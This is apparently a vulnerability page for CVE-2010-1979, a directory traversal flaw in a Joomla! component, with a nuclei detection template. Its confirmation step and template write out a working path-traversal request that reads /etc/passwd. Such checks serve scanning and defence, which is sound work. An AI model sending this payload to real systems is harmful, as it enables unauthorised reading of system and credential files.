Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion

mediumseverity

6.8CVSS score

11.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1979 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1979

info:
  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1979
    - http://www.exploit-db.com/exploits/12088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1979
    cwe-id: CWE-22
    epss-score: 0.1115
    epss-percentile: 0.95978
    cpe: cpe:2.3:a:affiliatefeeds:com_datafeeds:build_880:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: affiliatefeeds
    product: com_datafeeds
  tags: cve,cve2010,edb,joomla,lfi,affiliatefeeds,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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